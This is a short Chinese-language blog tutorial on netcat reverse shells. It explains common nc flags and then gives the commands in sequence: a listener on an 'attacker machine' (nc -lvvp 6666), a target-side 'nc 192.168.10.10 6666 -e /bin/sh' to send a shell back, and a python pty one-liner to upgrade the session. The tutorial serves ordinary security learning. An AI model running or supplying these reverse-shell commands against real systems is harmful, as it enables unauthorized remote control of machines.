netcat反弹shell
netcat基本命令
1 | -l: 开启监听 |
- 首先应该知道的一个参数是 - h,这是最基本的一个命令,nc 长跟的参数有两个,一个是 n 一个是 v
- v 参数就是列出执行过程的详细信息,n 参数翻译过来就是只接收 ip 地址,没有 dns
为什么一个打印消息的要写两次呢?
都知道-l是开启监听,-v打印运行时的所有信息,-p指定端口通常合起来写:nc -lvp 6666
为什么一个打印消息的要写两次呢?
几个V结果都一样 后来发现两个v获得的输出更详细,Nmap的-vv同样的效果
netcat版本:
常用监听设置
- 例如
1 | 攻击机IP : 192.168.10.10 |
- 在攻击机上设置监听
- 6666 是端口,可以自行更改
1 | nc -lvvp 6666 |
- 目标机设置
- 各种手段后能执行命令后
- 注意IP是攻击机的IP
1 | nc 192.168.10.10 6666 -e /bin/sh |
- 交互
- 对于已经安装了python的系统,可以使用python提供的pty模块,只需要一行脚本就可以创建一个原生的终端
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Putdownd’s Blog!